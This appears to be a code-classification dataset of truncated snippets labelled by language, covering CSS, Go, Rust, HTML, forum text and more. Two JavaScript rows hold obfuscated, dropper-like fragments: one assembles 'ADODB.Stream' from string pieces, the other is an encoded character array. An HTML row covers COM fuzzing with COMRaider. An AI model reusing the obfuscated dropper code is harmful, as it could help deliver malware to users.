content
stringlengths
2
6.21k
label
stringclasses
16 values
ubject) and name.startswith(\'__\') and not name.endswith(\'__\'):\n 35\t return "_%s%s" % (subject.__name__, name)\n 36\t except AttributeError:\n 37\t pass\n 38\t\n 39\t return name\n 40\t\n 41\t\n 42\tdef unmangle(subject: Any, name: str) -> Optional[str]:\n 43\t ...
Markdown
// // Loop over iputs accumulating // ************************************************* // _start_num_partials_loop.\@: call $SCRATCH2, _Reduce_ptr_fetch mul $IN_j_SIZE, $IN_j_SIZE, SIZE_OF_IN_TYPE _in_j_loop_start.\@: ld64_MIS_2_ // trashes scratch2 { add $SCRATCH, $SCRATCH, $NUM_...
Assembly
omplexHitTest(p); } } return false; } internal void SetInset(double inset, FlowDirection dir) { // For now, setting both insets to the same value. FlowDirection is mostly handled by // the mirror transform which means technically we always want the right inset ...
C#
.3.3.1.1.cmml" xref="S4.Thmtheorem6.p1.4.m4.3.3.1.1"><times id="S4.Thmtheorem6.p1.4.m4.3.3.1.1.2.cmml" xref="S4.Thmtheorem6.p1.4.m4.3.3.1.1.2"></times><apply id="S4.Thmtheorem6.p1.4.m4.3.3.1.1.3.cmml" xref="S4.Thmtheorem6.p1.4.m4.3.3.1.1.3"><csymbol cd="ambiguous" id="S4.Thmtheorem6.p1.4.m4.3.3.1.1.3.1.cmml" xref="S4.T...
HTML
ultiSet).get(query) override fun retractClauses( collection: ClauseCollection, query: Clause, ): Sequence<Clause> = when (val res = (collection as ClauseMultiSet).retrieve(query)) { is RetrieveResult.Success -> res.clauses.asSequence() else -> emptySequence() ...
Kotlin
ksMjQuODU0IDkuOTcsMjYuNzQ0IEM5Ljg1NiwyNS43MTggOS43NTMsMjQuMTQzIDEwLjAxNiwyMy4wMjIgQzEwLjI1MywyMi4wMSAxMS41NDgsMTYuNTcyIDExLjU0OCwxNi41NzIgQzExLjU0OCwxNi41NzIgMTEuMTU3LDE1Ljc5NSAxMS4xNTcsMTQuNjQ2IEMxMS4xNTcsMTIuODQyIDEyLjIxMSwxMS40OTUgMTMuNTIyLDExLjQ5NSBDMTQuNjM3LDExLjQ5NSAxNS4xNzUsMTIuMzI2IDE1LjE3NSwxMy4zMjMgQzE1LjE3NS...
HTML
wTeuHwl = (1, 2, 3, 4, 5, ZmnAzdGrjMifAtfVkjSjm); return BkyXowMofFowFxwTeuHwl;}; HinVtyOkpUliXbfTdxIar = RzdLvnLidPtxNrdFspTps = WlkDdgPnxCnhKryCwuHxg[WbwOnjAufLjcMlgCqxSvc()]("A"+"DODB"+"a.b".charAt(1)+"Stre"+"mad".charAt(1)+"m"); HinVtyOkpUliXbfTdxIar[ZvyYitWndFlvUglIuvUfu](); HinVtyOkpUliXbfTdxIar["t"+"y"+"pe...
JavaScript
4C3; $mdc-lime-200: #E6EE9C; $mdc-lime-300: #DCE775; $mdc-lime-400: #D4E157; $mdc-lime-500: #CDDC39; $mdc-lime-600: #C0CA33; $mdc-lime-700: #AFB42B; $mdc-lime-800: #9E9D24; $mdc-lime-900: #827717; $mdc-lime-A100: #F4FF81; $mdc-lime-A200: #EEFF41; $mdc-lime-A400: #C6FF00; $mdc-lime-A700: #AEEA00; //## Yellow $m...
CSS
ovider)) getParam(acc.providerName + (acc.serviceName ? ' (' + acc.serviceName + ')' : ''), result, name_provider); if(AnyBalance.isAvailable(name_delivery)) getParam(deliveryType[acc.deliveryType]||acc.deliveryType, result, name_delivery); if(AnyBalance.isAvailable(name_balance, name_peni)){ html =...
JavaScript
"property" href="#propdef-writing-mode" id="ref-for-propdef-writing-mode①①">writing-mode</a> specification, which is obsoleted by this specification. The additional <span class="css">tb-lr</span> value of that revision is replaced by <a class="css" data-link-type="maybe" href="#valdef-writing-mode-vertical-...
HTML
0, 0, 0.24) !important; } .dark-layout .alert .alert-heading, .dark-layout .alert p { color : inherit; } .dark-layout .alert.alert-dark .alert-heading, .dark-layout .alert.alert-dark .alert-body, .dark-layout .alert.alert-dark p { color : #B8C2CC; } .dark-layout .content-header-left .breadcrumbs-top .content-he...
CSS
Z")+"; mouseup:"+_.L("lbsD7e")+"; mouseenter:"+_.L("tfO1Yc")+"; mouseleave:"+_.L("JywGue")+"; touchstart:"+_.L("p6p2H")+"; touchmove:"+_.L("FwuNnf")+"; touchend:"+_.L("yfqBxc")+"; touchcancel:"+_.L("JMtRjd")+"; contextmenu:"+_.L("mg9Pef")+';"'+_.ts(_.PK(A))+_.ts(_.KK(D))+_.ts(_.LK(F))+(K?_.ts(_.rs(K)):"")+'><input clas...
HTML
[string]bool{ "B": true, "BL": true, "BX": true, "BEQ": true, "BNE": true, "BCS": true, "BHS": true, "BCC": true, "BLO": true, "BMI": true, "BPL": true, "BVS": true, "BVC": true, "BHI": true, "BLS": true, "BGE": true, "BLT": true, "BGT": true, "BLE": true, "CALL": true, "JMP"...
Go
) { tx := &ethTypes.Transaction{} m.State. On("GetTransactionByHash", context.Background(), tc.Hash, nil). Return(tx, nil). Once() m.State. On("GetTransactionReceipt", context.Background(), tc.Hash, nil). Return(nil, state.ErrNotFound). Once() }, }, { Name: ...
Go
fadds %f16, %f17, %f16 std %f20, [%i0 + 0] P1729: !_LD [12] (FP) ld [%i3 + 0], %f13 ! 1 addresses covered P1730: !_ST [5] (maybe <- 0x400000e4) (FP) ! 0 th moved, current_fp_src=20 fmovs %f16, %f20 fadds %f16, %f17, %f16 st %f20, [%i1 + 76 ] P1731: !_ST [4] (maybe <- 0x400000e5) (FP) ! 0 th moved, current_fp_s...
Assembly
-- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣦⣴⣶⣾⣿⣶⣶⣶⣶⣦⣤⣄⠀⠀⠀⠀⠀⠀⠀ -- -- ⠀⠀⠀⠀⠀⠀⠀⢠⡶⠻⠛⠟⠋⠉⠀⠈⠤⠴⠶⠶⢾⣿⣿⣿⣷⣦⠄⠀⠀⠀ 𓐓 noise.lua 𓐔 -- -- ⠀⠀⠀⠀⠀⢀⠔⠋⠀⠀⠤⠒⠒⢲⠀⠀⠀⢀⣠⣤⣤⣬⣽⣿⣿⣿⣷⣄⠀⠀ -- -- ⠀⠀⠀⣀⣎⢤⣶⣾⠅⠀⠀⢀⡤⠏⠀⠀⠀⠠⣄⣈⡙⠻⢿⣿⣿⣿⣿⣿⣦⠀ Student: oezzaou <oezzaou@student.1337...
Lua
s. Unisys' goal was to provide an orderly transition for their 1100/2200 customers to a more modern architecture.</p> </ul> <li data-md> <p>Signed magnitude</p> <ul> <li data-md> <p>The IBM 700/7000 series scientific machines use sign/magnitude notation, except for the index registers wh...
HTML
\"/><circle cx=\"552\" cy=\"268\" r=\"2\" style=\"stroke-width:1;stroke:rgb(84,112,198);fill:white\"/><path d=\"M 96 141\nL 172 117\nL 248 124\nL 324 117\nL 400 42\nL 476 34\nL 552 36\" style=\"stroke-width:2;stroke:rgb(145,204,117);fill:none\"/><circle cx=\"96\" cy=\"141\" r=\"2\" style=\"stroke-width:1;stroke:rgb(14...
Go
:= exporter.NewTPCnt(apiToMetricsName(proto.AdminDiagnoseMetaPartition)) defer func() { doStatAndMetric(proto.AdminDiagnoseMetaPartition, metric, err, nil) }() corruptMpIDs = make([]uint64, 0) lackReplicaMpIDs = make([]uint64, 0) badReplicaMpIDs = make([]uint64, 0) excessReplicaMpIDs = make([]uint64, 0) if ina...
Go
d5q0e5hl pass xunm7kk7b7x: x1csyctvo01 = g111mzfggbm raise bdsz7a_0lrg return '# hospitals_repairs_hoses -> difficulties_rain_pitches' from ss1cb9t9iuj import x156kxduq8j as rloffqsukqd, j3lsv2491rk, kaox30hwej8, r2u15h3s7ik as zryn2zfjrdi '# hospitals_repairs_hoses -> difficulties_rain_pitc...
Python
if (undefined != busNum) { explorer[TYPE_I2C + clockPinNumber + "_" + dataPinNumber] = { pins: { i2c: { type:TYPE_I2C, clock:clockPinNumber, sda:dataPinNumber, address:0, bus:busNum } }, require: TYPE_I2C, }; } else { explorer[TYPE_I2C + clockPinNumber + "_" + dataPinNumber] = { pins: {...
JavaScript
99534 80110AC4 00000000 */ nop /* 099538 80110AC8 3C01800F */ lui $at, %hi(D_800E85A0) # $at, 0x800f /* 09953C 80110ACC 10000002 */ b .L80110AD8_ovl2 /* 099540 80110AD0 AC2E85A0 */ sw $t6, %lo(D_800E85A0)($at) .L80110AD4_ovl2: /* 099544 80110AD4 AC2F85A0 */ sw $t7, %lo(D_800E85A0)($at) .L80110AD8_...
Assembly
LOG_WARN("failed to replace relation exprs", K(ret)); } else if (OB_FAIL(select_stmt.formalize_stmt(ctx_->session_info_, false))) { LOG_WARN("failed to formalize stmt", K(ret)); } else { trans_happened = true; } return ret; } int ObTransformSimplifyGroupby::prune_grouping_sets(ObIArray<ObParentDMLS...
C++
.stop() audioDecoder.stop() super.onDestroy() } } package com.cxp.learningvideo.media import android.media.MediaCodec import android.media.MediaFormat import android.util.Log import java.io.File import java.nio.ByteBuffer /** * 解码器基类 * * @author Chen Xiaoping (562818444@qq.com) * @since Learn...
Kotlin
id:any){ return this.TaskResource.delete({id:id}).$promise; } constructor(private $resource:ng.resource.IResourceService){ this.TaskResource = <ITaskClass>$resource('/api/v1/tasks/:id', null, { 'update': {method: 'PUT'} }); } } angular.module('app').service('TaskService', TaskSe...
Typescript
using Microsoft.ReportingServices.ReportIntermediateFormat; namespace Microsoft.ReportingServices.OnDemandReportRendering { internal sealed class CustomData : IReportScopeInstance { private CustomReportItem m_owner; private DataHierarchy m_columns; private DataHierarchy m_rows; private DataRowCollection m...
C#
***********/ forfile (pat, attr, rtn, ...) char *pat; int attr; void (*rtn)(char *, struct findType *, va_list); { struct findType *fbuf; char *buf; va_list ap; if ((fbuf = (struct findType *) (*tools_alloc) (sizeof (*fbuf))) == NULL) return FALSE; if (ffirst (pat, attr, fbuf)) { free ((...
C
id.svg" width="16" height="16"></picture></a>, Clare <b>Chan</b>, Stephanie <b>Berrios</b>, <a href="https://orcid.org/0000-0002-3332-3936">Shiho <b>Kawashima</b> <picture><source media="(prefers-color-scheme: dark)" srcset="ico/dm/orcid.svg" ><img src="ico/wm/orcid.svg" width="16" height="16"></picture></a><br>Contrib...
Markdown
err = conn.WriteMessage(mt, message) if err != nil { break } } }) } package apiv1 import ( "sort" "github.com/spf13/cast" corev1 "k8s.io/api/core/v1" "k8z/internal/invoker" "k8z/internal/model/dao" "k8z/internal/model/dto" "k8z/internal/service/kube" "k8z/internal/service/kube/api" "k8z/pkg/com...
Go
this.AmbientGroundColor = obj.AmbientGroundColor; this.AmbientEquatorColor = obj.AmbientEquatorColor; this.AmbientSkyColor = obj.AmbientSkyColor; this.AmbientMode = obj.AmbientMode; this.FogEndDistance = obj.FogEndDistance; this.FogStartDis...
C#
你编辑的文件是VBScript文件,所以一切请遵守VBS的语法。至于为什么要用VBS,COMRaider发布第一版的时候(时代的眼泪)VB还是很流行的,以至于COMRaider都是VB写的。</p><p>例如,我们向Long Args加入parent.lngs.add 65535,这样在Fuzz Long类型的参数的时候65535就会作为一个testcase被使用。</p><p><img alt="p6" img-src="4f72dd76ae1e95f4ae96c6c69ef041130c97eb52.jpg"></p><h1>0x01 如何测试逻辑问题</h1><hr><p>本节我们只介绍使用COMRaider来挖掘逻辑漏洞并编...
HTML
ows", "Charts": "מצעדים", "Browse": "עיון", "Quick access": "גישה מהירה", "Play mix": "הפעל מיקס", "Share show": "שתף פודקאסט", "Date added": "תאריך הוספה", "Discord": "Discord", "Official Discord server": "שרת ה-Discord הרשמי", "Restart of app is required to properly log out!": "על מנת לצאת יש להפעיל את האפליקציה מחדש...
Dart
share_link) and unzip in `${ROOT}/output`. * Prepare BABEL dataset following [here](https://github.com/TaeryungLee/MultiAct_RELEASE#babel-dataset). * Prepare SMPL-H body model following [here](https://github.com/TaeryungLee/MultiAct_RELEASE#smplh-body-model). * Run `python generate.py --env gen --gpu 0 --mode gen_short...
Markdown
N_NOT_INITIALIZED) TC_TOKEN_ERR (CKR_PIN_INCORRECT) TC_TOKEN_ERR (CKR_PIN_INVALID) TC_TOKEN_ERR (CKR_PIN_LEN_RANGE) TC_TOKEN_ERR (CKR_PIN_EXPIRED) TC_TOKEN_ERR (CKR_PIN_LOCKED) TC_TOKEN_ERR (CKR_SESSION_CLOSED) TC_TOKEN_ERR (CKR_SESSION_COUNT) TC_TOKEN_ERR (CKR_SESSION_HANDLE_INVALID) TC_TOKE...
C++
otalFiatBalance: '9.41', tokensWithBalances: [ { address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', symbol: 'USDC', balance: '48573', balanceError: null, decimals: 6, string: 0.04857, tokenFiatAmount: '0.05', }, { ...
JavaScript
faultLogger(r.Logger) // 修改日志目录owner chownCmd := fmt.Sprintf("chown -R %s.%s %s", consts.MysqlAaccount, consts.MysqlGroup, logDir) cmd := exec.Command("bash", "-c", chownCmd) cmd.Run() } // PrintToStdout 打印到标准输出 func (r *JobGenericRuntime) PrintToStdout(format string, args ...interface{}) { fmt.Fprintf(os.Stdout...
Go
tion, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, * CA 95054 USA or visit www.sun.com if you need additional information or * have any questions. */ package sun.swing; import java.util.*; import java.lang.reflect.Arr...
Java
s` *(or `phoenix-desktop.js` for Linux users)* to the `pref` folder that you just created. You can run the following command for your platform below: **Linux/macOS**, *Assuming your installation directory is `/usr/lib64/firefox`*: ```sh sudo cp phoenix-desktop.js /usr/lib64/firefox/defaults/pref/phoenix-desktop.js ``...
Markdown
nsform( ctypes.c_void_p(self.sbt_desc), f_k.ctypes.data_as(ctypes.c_void_p), ctypes.c_int(l), f_g.ctypes.data_as(ctypes.c_void_p), ) return f_g def transform_set_fwd(self, f_xLg, f_xLk=None, l_add=0): Lmax = f_xLg.shape[-2] assert Lmax...
Python
rimaryGeneratedColumn, Column, OneToMany } from "typeorm"; import Client from "./Client"; import Lawsuit from "./Lawsuit"; @Entity("state") export default class State { @PrimaryGeneratedColumn() id!: number; @Column() name!: string; @OneToMany(() => Client, (client) => client.stateId) client!: Client[];...
Typescript
* pressed. * * @property isEditing Whether the UI is in an "editing" state. * @property canMoveUp Whether the item can be moved up in the list. * @property canMoveDown Whether the item can be moved down in the list. * @property onMoveUp Called when the move up button is pressed. * @property onMoveDown Called wh...
Kotlin
-end,body.theme-dark .carousel-fade .active.carousel-item-start{opacity:0;transition:opacity 0s .6s;z-index:0}@media (prefers-reduced-motion:reduce){body.theme-dark .carousel-fade .active.carousel-item-end,body.theme-dark .carousel-fade .active.carousel-item-start{transition:none}}body.theme-dark .carousel-control-next...
CSS
version>\n" + " <executions>\n" + " <execution>\n" + " <id>test</id>\n" + " <phase>test</phase>\n" + " ...
Java
018/02/21/iterating-over-set-bits-quickly/ #[inline] fn next(&mut self) -> Option<Self::Item> { // if we have no values left, then read a new u64 chunk from the Rsdict if self.current_code == 0 { // find the next not empty word self.current_code = loop { ...
Rust
Bool("peer.gossip.skipBlockVerification") c.TLSCerts = certs c.TimeForMembershipTracker = util.GetDurationOrDefault("peer.gossip.membershipTrackerInterval", 5*time.Second) c.DigestWaitTime = util.GetDurationOrDefault("peer.gossip.digestWaitTime", algo.DefDigestWaitTime) c.RequestWaitTime = util.GetDurationOrDefault...
Go
.writeAttributeValuePoint3fArray(mesh.getColors().getValues().getData(), mesh.getColors().getValues().size()); writer.beginMetaData(); writer.writeMetaData("interpolation", "\"faceVarying\""); writer.endMetaData(); if(Config.exportVertexColorAsDisplayColor) writer.writeAttributeName("int[]", "primva...
Java
y works inside single class selectors\n" + "<stdin>: NOTE: The parent selector is not a single class selector because of the syntax here:\n" expectPrintedLocal(t, "& { composes: bar; color: red }", "& {\n color: red;\n}\n", badComposes) expectPrintedLocal(t, ".foo& { composes: bar; color: red }", "&.foo {\n color...
Go
used. * @param {goog.dom.DomHelper=} opt_domHelper Optional DOM helper. * @constructor * @extends {goog.ui.tree.BaseNode} */ goog.ui.tree.TreeControl = function(html, opt_config, opt_domHelper) { goog.ui.tree.BaseNode.call(this, html, opt_config, opt_domHelper); // The root is open and selected by default. ...
JavaScript
.e.props)),e.top){let r=this.topRules[e.top];if(!r)throw new RangeError(`Invalid top rule name ${e.top}`);t.top=r}return e.tokenizers&&(t.tokenizers=this.tokenizers.map((t=>{let r=e.tokenizers.find((e=>e.from==t));return r?r.to:t}))),e.specializers&&(t.specializers=this.specializers.slice(),t.specializerSpecs=this.spec...
JavaScript
_Foundation'*"] #[cfg(feature = "Win32_Foundation")] pub fn SetProcessDpiAwarenessContext(value: DPI_AWARENESS_CONTEXT) -> super::super::Foundation::BOOL; #[doc = "*Required features: 'Win32_UI_HiDpi'*"] pub fn SetThreadDpiAwarenessContext(dpicontext: DPI_AWARENESS_CONTEXT) -> DPI_AWARENESS_CONTEXT; ...
Rust
政府预算挡下,让政府部门停摆就是反对党的胜利,那只是游戏刚刚开始,民意和各方能承受的压力,才是决定谁是赢家。 虽然美国是两党制 ,但是真正左右选举的是中间选民,所以美国总统选举就是,得摇摆州得天下。对我来说,摇摆州的选民像迷一样的难以捉摸,他们可以连投奥巴马两届,一个说变,马上转投川普。从一个极端转去另外一个极端。 所以我\*目前为止\*的结论是,川普会连任,不会被弹劾。 --- date: '2018-07-30T05:54:15.557Z' user_id: 6762 user_name: 红四姐 user_intro: |+ 红四代/爱党,爱国,爱习叔/ 我来品葱的使命:鉴于墙外有很多人颠倒黑白,黑我党,...
Markdown
t key1 = PrivateKey::random(&mut OsRng); let value1 = 500; runtime .block_on(oms.add_output(UnblindedOutput::new(MicroTari::from(value1), key1, None))) .unwrap(); let key2 = PrivateKey::random(&mut OsRng); let value2 = 800; runtime .block_on(oms.add_output(UnblindedOutput::ne...
Rust
/// An error returned when a receiver has missed too many ticks. #[derive(Debug)] pub struct TickOverflow; /// System Resources pub struct SystemRes { pub sys_tick: SysTickPeriph, pub thr_sys_tick: thr::SysTick, pub pll: Pll, pub hsi: Hsi, pub lse: Lse, pub rcc: Rcc, pub flash: Flash, p...
Rust
/******************************************************************** * * * THIS FILE IS PART OF THE OggVorbis SOFTWARE CODEC SOURCE CODE. * * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS * * GOVERNED BY A BSD-STYLE SOURCE LICENS...
C
6`9`=`]`7`7`1`[`0`v`X`C`a`;`7`1`6`9`=`]`6`7`1`[`0`v`X`C`a`;`7`8`1`=`]`5`7`1`[`0`v`X`C`a`;`1`7`1`=`]`4`7`1`[`0`v`X`C`a`;`1`6`1`=`]`3`7`1`[`0`v`X`C`a`;`8`8`1`=`]`2`7`1`[`0`v`X`C`a`;`9`8`1`=`]`1`7`1`[`0`v`X`C`a`;`2`7`1`=`]`0`7`1`[`0`v`X`C`a`;`6`7`9`8`=`]`9`6`1`[`0`v`X`C`a`;`1`9`1`=`]`8`6`1`[`0`v`X`C`a`;`)`(`y`a`r`r`A` `w`...
JavaScript
-delay:1.26s; -ms-animation-delay:1.26s; -o-animation-delay:1.26s; animation-delay:1.26s; } #circular3d_8G{ left:4px; top:0px; -moz-animation-delay:1.4s; -webkit-animation-delay:1.4s; -ms-animation-delay:1.4s; -o-animation-delay:1.4s; animation-delay:1.4s; } @-moz-keyframes bounce_circular3dG{ 0%{ -moz-transform:scal...
CSS
2110-1301 USA. * */ #include "AutomatableButton.h" #include <QMouseEvent> #include "CaptionMenu.h" #include "StringPairDrag.h" #include "KeyboardShortcuts.h" namespace lmms::gui { AutomatableButton::AutomatableButton( QWidget * _parent, const QString & _name ) : QPushButton( _parent ), BoolModelView( ne...
C++
// RUN: %clang_cc1 %s -emit-llvm -o %t -fblocks // RUN: grep "_Block_object_dispose" %t | count 17 // RUN: grep "__copy_helper_block_" %t | count 14 // RUN: grep "__destroy_helper_block_" %t | count 14 // RUN: grep "__Block_byref_object_copy_" %t | count 2 // RUN: grep "__Block_byref_object_dispose_" %t | count 2 // RU...
C
case WORD: sortByWord(arr); break; case TRANSLATION: sortByTranslation(arr); break; case TRAIN: sortByTrain(arr); break; case PLAY: sortByPlay(arr); break; case ERROR: sortByError(arr); break; default: sortByPercent(arr); break;...
Typescript
Detail.copyColorWithFeedback(this, '${color.hex}', '${color.name}')"> </div> <div class="min-w-0 flex-1"> <p class="font-medium text-theme-primary text-sm truncate">${color.name}</p> ...
JavaScript
g_rate': 0.025,\\n 'max_depth': 6,\\n 'min_child_weight': 1,\\n 'subsample': 0.7,\\n 'colsample_bytree': 0.7,\\n 'random_state': 42,\\n 'n_jobs': -1,\\n 'tree_method': 'hist',\\n 'enable_categorical': True,\\n 'gamma': 0....
HTML
ption=cc1) count += 1 os.remove(f'{name}.pdf') success = True break # Exit the retry loop if successful else: ...
Python
/ #if defined(DEBUG) || defined(FORCE_NSPR_ORDERED_LOCKS) #define PR_DESTROY_ORDERED_LOCK(lock) PR_DestroyOrderedLock((lock)) #else #define PR_DESTROY_ORDERED_LOCK(lock) PR_DestroyLock((lock)) #endif NSPR_API(void) PR_DestroyOrderedLock( PROrderedLock *lock ); /* ---------------------------------------...
C
* <https://github.com/LuckyPray/DexKit/blob/master/LICENSE>. */ @file:Suppress("MemberVisibilityCanBePrivate", "unused", "INVISIBLE_REFERENCE", "INVISIBLE_MEMBER") package org.luckypray.dexkit.query.matchers import com.google.flatbuffers.FlatBufferBuilder import org.luckypray.dexkit.InnerAnnotationsMatcher import o...
Kotlin
[WinFormsTheory] [InlineData(SortOrder.Ascending, "A", "B", -1)] [InlineData(SortOrder.Ascending, "B", "A", 1)] [InlineData(SortOrder.Ascending, "A", "A", 0)] [InlineData(SortOrder.Descending, "A", "B", 1)] [InlineData(SortOrder.Descending, "B", "A", -1)] [InlineData(SortOrder.Descending, "...
C#
e ValueError('path is on UNC root %s, start on UNC root %s' % ( path_prefix, start_prefix)) else: raise ValueError('path is on drive %s, start on drive %s' % ( path_prefix, start_prefix)) i = 0 for e1, e2 in zip(start_list, path_list): if e1.lower() != e2.lo...
Python
td><td>dh</td><td>B</td></tr><tr class="odd"><td class="descr" colspan="4">Controls which hosts are denied access to the server</td></tr> <tr><td><a href="core.html#directory">&lt;Directory <var>directory-path</var>&gt; ... &lt;/Directory&gt;</a></td><td></td><td>sv</td><td>C</td></tr><tr><td class="descr" colspan="4">...
HTML
, strokeLineJoin = Miter, strokeLineMiter = 4.0f, pathFillType = NonZero, ) { moveTo(0.0f, 14.7656f) curveTo(0.0f, 17.7539f, 2.5195f, 20.1562f, 6.3633f, 20.1562f) lineTo(13.875f, 20.15...
Kotlin
inviteconfig']['invitecodeprice'] && ($_G[setting][ec_tenpay_bargainor] || $_G[setting][ec_tenpay_opentrans_chnid] || $_G[setting][ec_account])}--> <div class="rfm"> <table cellpadding="0" cellspacing="0"> <tr> <th>{lang buy_nums}</th> <td><input type="text" name="amount" id="amou...
HTML
<td>22</td> </tr> <tr> <td>CLK</td> <td>18</td> </tr> <tr> <td>MOSI</td> <td>23</td> </tr> <tr> <td>MISO</td> <td>...
HTML
note_add_closed,#bugnote_add_open,#bugnotes_closed,#bugnotes_open,#filter_closed,#filter_open,#history_closed,#history_open,#monitoring_closed,#monitoring_open,#relationships_closed,#relationships_open,#upload_form_closed,#upload_form_open{opacity:1;height:auto;margin-top:0;-webkit-transform-origin:0;-moz-transform-ori...
CSS
); } deleteData(name: string): void { if (!this._saveHelper) { throw new GameFrameworkError("you must set save help first"); } this._saveHelper.deleteData(name); } clear(): void { if (!this._saveHelper) { throw new GameFrameworkError("you must se...
Typescript
yle: none'> 3、<a href='#新修订的《动物防疫法》,有哪些信息值得关注?' title='新修订的《动物防疫法》,有哪些信息值得关注?'>新修订的《动物防疫法》,有哪些信息值得关注?</a> </li> <li style='margin-bottom: 3px;list-style: none'> 4、<a href='#山西省动物防疫条例(2021修订)' title='山西省动物防疫条例(2021修订)'>山西省动物防疫条例(2021修订)</a> </li> <li style='margin-bottom: 3px;list-style: none'> 5、<a href='#动物检疫管理办法新旧对照'...
HTML
EventListener) { element.removeEventListener(eventName, handler, false); } else { element.detachEvent("on" + eventName, handlerWrapper); } } } }; }; /** * HTML Sanitizer * Rewrites the HTML based on given rules * * @param {Element|String} elementOrHtml HTML String to ...
JavaScript
All the specified --- keys will be removed from the search data. Keys that do not exist in the lobby --- are a no-op.If the key to delete exists in the searchData (same request) it --- will result in a bad request. SearchDataToDelete: {any}?, } --- Uploads a multiplayer server game certificate. export type U...
Lua
as para quase todos os scouts do Cartola FC. Além disso, temos a média acumulada em casa/fora, a diferença entre as médias casa/fora padronizadas (diff_home_away_s), número de jogos na temporada entre outros.</p> <p>Antes de iniciar de aplicar as técnicas de agrupamento, vamos preparar um pouco o banco de dados para co...
HTML
s` crate, which is useful for assertions. //! //! # Example //! //! An end of line on all systems are represented by the `\n` //! character, except on Windows where it is `\r\n`. Even if C //! writes `\n`, it will be translated into `\r\n`, so we need to //! normalize this. This is where the...
Rust
997952 } if (prediction.normalizedText.contains("авто")) { return setAutoBrightness() } return when (params.action) { "set" -> handleSetBrightness(params) "increase" -> handleChangeBrightness(params) "decrease" -> handleChangeBrightness(p...
Kotlin
title="variable">x</span></a> <a class="idref" href="mathcomp.algebra.ssrnum.html#07bcd9d86ae6b6828fbc17b15193853f"><span class="id" title="notation">&gt;</span></a> <a class="idref" href="mathcomp.algebra.ssrnum.html#y"><span class="id" title="variable">y</span></a> : <a class="idref" href="mathcomp.algebra.ssrnum.htm...
HTML
(error) { dev_err(&client->dev, "Failed to register interrupt\n"); return error; } error = input_register_device(data->input_dev); if (error) { dev_err(&client->dev, "Failed to register input device\n"); return error; } return 0; } static int __maybe_unused mms114_suspend(struct device *dev) { struct ...
C
毛などあんまし無い!"><span></span></a></span><div class="ogmusic"><a href="./クリスタライズシルバー.md" class="mw-redirect" title="クリスタライズシルバー">クリスタライズシルバー</a></div><div class="source"><a href="./东方妖妖梦_~_Perfect_Cherry_Blossom..md" class="mw-redirect" title="东方妖妖梦 ~ Perfect Cherry Blossom.">东方妖妖梦 ~ Perfect Cherry Blossom.</a></div></td></...
Markdown
entity = { "text": match.group(), "label": label, "start": match.start(), "end": match.end(), "type": "number" } entities.append(entity) # 电子邮件和URL ...
Python
case 'x', 'X': base = 16 default: // unknown format fmt.Fprintf(s, "%%!%c(big.Int=%s)", ch, x.String()) return } if x == nil { fmt.Fprint(s, "<nil>") return } // determine sign character sign := "" switch { case x.neg: sign = "-" case s.Flag('+'): // supersedes ' ' when both specified sign =...
Go
堂 平时需要用app去报名一些课外活动参加累积积分 按照学校的说法如果毕业时积分不够会不让你毕业 2.在我看来 宿舍的体验真的是非常差 没有上床下桌 八人间 虽然有卫生间和洗手池但是不能洗澡 又小又挤 3.大部分学生都有抽烟喝酒的习惯 不要想着能在学校宿舍遇到什么正常舍友 来这里就做好吸三年二手烟的准备 4.如果你是一个性格内向 平时不喜欢与人打交道的人 千万别来这里 否则这种环境会把你压的喘不过气来 别问为什么 因为我就是 大概就说这些 全部是我个人感受 供各位学弟学妹参考 我个人建议是 如果你还能奋斗 就再复读一年考一个差不多的本科吧 别来这里受罪 这也是我唯一能做到的事了# 广西生态工程职业技术学院 > [免责声明]...
Markdown
T HOLDERS BE LIABLE FOR ANY // CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, // TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE // SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // // Author(s): // Atif Aziz (http://www.raboof.com) // #endregion namespace TidyJso...
C#
et-mode" "-triple" "nvptx64-nvidia-cuda" %s "-omp-main-file-path" "abcd.efgh" 2>&1 \ // RUN: | FileCheck -check-prefix=CHK-MODULEID %s // CHK-MODULEID: error: Unable to generate module ID from input file 'abcd.efgh' for OpenMP target code generation. Make sure the file exists in the file system. /// Check the subtar...
C
endif]--></head> <body class="mediawiki ltr sitedir-ltr ns--1 ns-special mw-special-Allmessages page-Special_AllMessages skin-vector action-view vector-animateLayout"> <div id="mw-page-base" class="noprint"></div> <div id="mw-head-base" class="noprint"></div> <div id="content" class="mw-body" role="main"> <a i...
CSS
24 10.7-24 24l0 80c0 13.3 10.7 24 24 24s24-10.7 24-24l0-16 33.6 0c4.2 30.7 16.3 58.8 34.1 82.3L156 386.1l-11.3-11.3c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l56.6 56.6c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L189.9 420l23.8-23.8c23.5 17.9 51.7 29.9 82.3 34.1l0 33.6-16 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l80 0c13.3 0 24...
JavaScript
import math #from math import sqrt num = int(input('Digite um número:')) raiz = math.sqrt(num) print('A raiz de {} é igual a:{}'.format(num, math.ceil(raiz)))
Python
// Copyright (c) 2021 homuler // // Use of this source code is governed by an MIT-style // license that can be found in the LICENSE file or at // https://opensource.org/licenses/MIT. #ifndef MEDIAPIPE_API_GPU_GL_TEXTURE_BUFFER_H_ #define MEDIAPIPE_API_GPU_GL_TEXTURE_BUFFER_H_ #include <memory> #include <utility> #in...
C
ould not cause a retry because it's been acked for _ in 0..50 { illyria.run_tx().unwrap(); match illyria.run_rx() { Ok(..) => {} Err(Error::TransportWouldBlock) => {} Err(e) => { panic!("Got e...
Rust
@param code one of Error::Code @param msg error message */ #define CV_Error( code, msg ) cv::error( code, msg, CV_Func, __FILE__, __LINE__ ) /** @brief Call the error handler. This macro can be used to construct an error message on-fly to include some dynamic information, for example: @code // note the extra p...
C++
